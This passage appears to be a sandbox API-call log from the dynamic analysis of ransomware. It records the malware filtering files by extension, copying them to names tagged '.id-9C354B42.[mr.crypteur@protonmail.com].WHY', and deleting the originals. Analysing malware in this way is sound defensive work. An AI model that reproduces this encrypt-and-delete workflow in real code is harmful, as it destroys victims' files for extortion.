(lpString1=".ppt", lpString2=".ITS") returned 1 [0226.180] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS") returned 73 [0226.180] lstrlenW (lpString=".zip") returned 4 [0226.180] lstrcmpiW (lpString1=".zip", lpString2=".ITS") returned 1 [0226.180] lstrlenW (lpString=".rar") returned 4 [0226.180] lstrcmpiW (lpString1=".rar", lpString2=".ITS") returned 1 [0226.180] lstrlenW (lpString=".bz2") returned 4 [0226.180] lstrcmpiW (lpString1=".bz2", lpString2=".ITS") returned -1 [0226.180] lstrlenW (lpString=".7z") returned 3 [0226.180] lstrcmpiW (lpString1=".7z", lpString2="ITS") returned -1 [0226.180] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS") returned 73 [0226.181] lstrlenW (lpString=".dbf") returned 4 [0226.181] lstrcmpiW (lpString1=".dbf", lpString2=".ITS") returned -1 [0229.057] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\OmdProject.dll" (normalized: "c:\\program files\\dvd maker\\omdproject.dll"), lpNewFileName="C:\\Program Files\\DVD Maker\\OmdProject.dll.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\dvd maker\\omdproject.dll.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0 [0229.058] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Pipeline.dll" (normalized: "c:\\program files\\dvd maker\\pipeline.dll"), lpNewFileName="C:\\Program Files\\DVD Maker\\Pipeline.dll.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\dvd maker\\pipeline.dll.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0 [0229.059] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\PipeTran.dll" (normalized: "c:\\program files\\dvd maker\\pipetran.dll"), lpNewFileName="C:\\Program Files\\DVD Maker\\PipeTran.dll.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\dvd maker\\pipetran.dll.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0 [0229.142] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\msmdlocal.dll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\msmdlocal.dll"), lpNewFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\msmdlocal.dll.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\msmdlocal.dll.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0 [0229.684] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\msmgdsrv.dll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\msmgdsrv.dll"), lpNewFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\msmgdsrv.dll.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\msmgdsrv.dll.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0 [0231.011] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=7384) returned 1 [0231.011] CloseHandle (hObject=0x2d0) returned 1 [0231.012] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\baby_01.mid")) returned 0x20 [0231.221] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\baby_01.mid.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0231.243] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\baby_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0 [0231.244] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0231.244] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0231.244] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\baby_01.mid.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0232.848] GetLastError () returned 0x0 [0232.848] ReadFile (in: hFile=0x2d0, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x316fed4*=0x1cd8, lpOverlapped=0x0) returned 1 [0233.577] WriteFile (in: hFile=0x384, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0x1ce0, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x316fc9c*=0x1ce0, lpOverlapped=0x0) returned 1 [0233.580] ReadFile (in: hFile=0x2d0, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x316fed4*=0x0, lpOverlapped=0x0) returned 1 [0233.580] WriteFile (in: hFile=0x384, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x316fc9c*=0xea, lpOverlapped=0x0) returned 1 [0233.580] SetEndOfFile (hFile=0x384) returned 1 [0233.702] CloseHandle (hObject=0x384) returned 1 [0233.721] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0233.721] SetEndOfFile (hFile=0x2d0) returned 1 [0233.865] CloseHandle (hObject=0x2d0) returned 1 [0233.866] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0233.866] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\baby_01.mid")) returned 1 [0233.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID") returned 62 [0233.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID") returned 62 [0233.867] lstrlenW (lpString=".doc") returned 4 [0233.867] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0233.867] lstrlenW (lpString=".docx") returned 5 [0233.868] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0233.868] lstrlenW (lpString=".pdf") returned 4 [0233.868] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0233.868] lstrlenW (lpString=".xls") returned 4 [0233.868] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0233.868] lstrlenW (lpString=".xlsx") returned 5 [0233.868] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0233.868] lstrlenW (lpString=".ppt") returned 4 [0233.868] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0233.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID") returned 62 [0233.868] lstrlenW (lpString=".zip") returned 4 [0233.868] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0233.868] lstrlenW (lpString=".rar") returned 4 [0233.868] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0233.868] lstrlenW (lpString=".bz2") returned 4 [0233.869] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0233.869] lstrlenW (lpString=".7z") returned 3 [0233.869] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0233.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID") returned 62 [0233.870] lstrlenW (lpString=".dbf") returned 4 [0233.870] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0233.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID") returned 62 [0233.870] lstrlenW (lpString=".1cd") returned 4 [0233.870] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0233.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID") returned 62 [0233.870] lstrlenW (lpString=".jpg") returned 4 [0233.870] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0233.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID") returned 62 [0233.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID") returned 62 [0233.871] lstrlenW (lpString=".doc") returned 4 [0233.871] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0233.871] lstrlenW (lpString=".docx") returned 5 [0233.871] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0233.871] lstrlenW (lpString=".pdf") returned 4 [0233.871] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0233.871] lstrlenW (lpString=".xls") returned 4 [0233.871] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0233.871] lstrlenW (lpString=".xlsx") returned 5 [0233.871] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0233.871] lstrlenW (lpString=".ppt") returned 4 [0233.871] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0233.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID") returned 62 [0233.871] lstrlenW (lpString=".zip") returned 4 [0233.872] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0233.872] lstrlenW (lpString=".rar") returned 4 [0233.872] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0233.872] lstrlenW (lpString=".bz2") returned 4 [0233.872] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0233.872] lstrlenW (lpString=".7z") returned 3 [0233.872] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0233.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID") returned 62 [0233.872] lstrlenW (lpString=".dbf") returned 4 [0233.872] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0233.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID") returned 62 [0233.872] lstrlenW (lpString=".1cd") returned 4 [0233.873] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0233.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID") returned 62 [0233.873] lstrlenW (lpString=".jpg") returned 4 [0233.873] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0233.873] lstrcmpiW (lpString1=".MID", lpString2=".WHY") returned -1 [0233.873] lstrlenW (lpString="FINCL_01.MID") returned 12 [0233.873] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0233.910] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=12981) returned 1 [0233.910] CloseHandle (hObject=0x354) returned 1 [0233.910] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_01.mid")) returned 0x20 [0233.913] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_01.mid.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0233.914] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0233.914] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0233.915] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0233.915] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_01.mid.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0233.915] GetLastError () returned 0x0 [0233.915] ReadFile (in: hFile=0x354, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x316fed4*=0x32b5, lpOverlapped=0x0) returned 1 [0233.921] WriteFile (in: hFile=0x320, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0x32c0, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x316fc9c*=0x32c0, lpOverlapped=0x0) returned 1 [0233.925] ReadFile (in: hFile=0x354, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x316fed4*=0x0, lpOverlapped=0x0) returned 1 [0233.925] WriteFile (in: hFile=0x320, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x316fc9c*=0xec, lpOverlapped=0x0) returned 1 [0233.925] SetEndOfFile (hFile=0x320) returned 1 [0233.925] CloseHandle (hObject=0x320) returned 1 [0233.927] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0233.927] SetEndOfFile (hFile=0x354) returned 1 [0234.013] CloseHandle (hObject=0x354) returned 1 [0234.013] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0234.234] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_01.mid")) returned 1 [0234.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 63 [0234.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 63 [0234.241] lstrlenW (lpString=".doc") returned 4 [0234.241] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0234.241] lstrlenW (lpString=".docx") returned 5 [0234.241] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0234.242] lstrlenW (lpString=".pdf") returned 4 [0234.242] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0234.242] lstrlenW (lpString=".xls") returned 4 [0234.242] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0234.242] lstrlenW (lpString=".xlsx") returned 5 [0234.242] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0234.242] lstrlenW (lpString=".ppt") returned 4 [0234.242] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0234.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 63 [0234.242] lstrlenW (lpString=".zip") returned 4 [0234.242] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0234.242] lstrlenW (lpString=".rar") returned 4 [0234.242] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0234.243] lstrlenW (lpString=".bz2") returned 4 [0234.243] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0234.243] lstrlenW (lpString=".7z") returned 3 [0234.243] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0234.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 63 [0234.243] lstrlenW (lpString=".dbf") returned 4 [0234.243] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0234.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 63 [0234.243] lstrlenW (lpString=".1cd") returned 4 [0234.244] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0234.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 63 [0234.244] lstrlenW (lpString=".jpg") returned 4 [0234.244] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0234.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 63 [0234.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 63 [0234.244] lstrlenW (lpString=".doc") returned 4 [0234.244] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0234.244] lstrlenW (lpString=".docx") returned 5 [0234.245] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0234.245] lstrlenW (lpString=".pdf") returned 4 [0234.245] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0234.245] lstrlenW (lpString=".xls") returned 4 [0234.245] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0234.245] lstrlenW (lpString=".xlsx") returned 5 [0234.245] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0234.245] lstrlenW (lpString=".ppt") returned 4 [0234.245] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0234.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 63 [0234.245] lstrlenW (lpString=".zip") returned 4 [0234.245] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0234.245] lstrlenW (lpString=".rar") returned 4 [0234.246] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0234.246] lstrlenW (lpString=".bz2") returned 4 [0234.246] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0234.246] lstrlenW (lpString=".7z") returned 3 [0234.246] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0234.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 63 [0234.246] lstrlenW (lpString=".dbf") returned 4 [0234.246] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0234.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 63 [0234.246] lstrlenW (lpString=".1cd") returned 4 [0234.246] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0234.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 63 [0234.247] lstrlenW (lpString=".jpg") returned 4 [0234.247] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0234.247] lstrcmpiW (lpString1=".MID", lpString2=".WHY") returned -1 [0234.247] lstrlenW (lpString="GRID_01.MID") returned 11 [0234.247] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grid_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x290 [0234.248] GetFileSizeEx (in: hFile=0x290, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=6331) returned 1 [0234.248] CloseHandle (hObject=0x290) returned 1 [0234.249] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grid_01.mid")) returned 0x20 [0234.249] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grid_01.mid.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0234.249] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grid_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x290 [0234.249] SetFilePointerEx (in: hFile=0x290, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0234.250] SetFilePointerEx (in: hFile=0x290, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0234.250] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grid_01.mid.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0234.251] GetLastError () returned 0x0 [0234.251] ReadFile (in: hFile=0x290, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x316fed4*=0x18bb, lpOverlapped=0x0) returned 1 [0234.312] WriteFile (in: hFile=0x384, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0x18c0, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x316fc9c*=0x18c0, lpOverlapped=0x0) returned 1 [0234.315] ReadFile (in: hFile=0x290, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x316fed4*=0x0, lpOverlapped=0x0) returned 1 [0234.316] WriteFile (in: hFile=0x384, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x316fc9c*=0xea, lpOverlapped=0x0) returned 1 [0234.316] SetEndOfFile (hFile=0x384) returned 1 [0234.316] CloseHandle (hObject=0x384) returned 1 [0234.318] SetFilePointerEx (in: hFile=0x290, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0234.318] SetEndOfFile (hFile=0x290) returned 1 [0234.329] CloseHandle (hObject=0x290) returned 1 [0234.329] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0234.330] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grid_01.mid")) returned 1 [0234.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID") returned 62 [0234.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID") returned 62 [0234.331] lstrlenW (lpString=".doc") returned 4 [0234.331] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0234.331] lstrlenW (lpString=".docx") returned 5 [0234.331] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0234.331] lstrlenW (lpString=".pdf") returned 4 [0234.332] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0234.332] lstrlenW (lpString=".xls") returned 4 [0234.332] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0234.332] lstrlenW (lpString=".xlsx") returned 5 [0234.332] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0234.332] lstrlenW (lpString=".ppt") returned 4 [0234.332] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0234.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID") returned 62 [0234.332] lstrlenW (lpString=".zip") returned 4 [0234.332] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0234.332] lstrlenW (lpString=".rar") returned 4 [0234.332] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0234.332] lstrlenW (lpString=".bz2") returned 4 [0234.332] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0234.332] lstrlenW (lpString=".7z") returned 3 [0234.333] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0234.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID") returned 62 [0234.333] lstrlenW (lpString=".dbf") returned 4 [0234.333] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0234.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID") returned 62 [0234.333] lstrlenW (lpString=".1cd") returned 4 [0234.333] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0234.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID") returned 62 [0234.333] lstrlenW (lpString=".jpg") returned 4 [0234.333] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0234.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID") returned 62 [0234.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID") returned 62 [0234.334] lstrlenW (lpString=".doc") returned 4 [0234.334] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0234.334] lstrlenW (lpString=".docx") returned 5 [0234.334] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0234.334] lstrlenW (lpString=".pdf") returned 4 [0234.334] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0234.334] lstrlenW (lpString=".xls") returned 4 [0234.334] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0234.334] lstrlenW (lpString=".xlsx") returned 5 [0234.334] 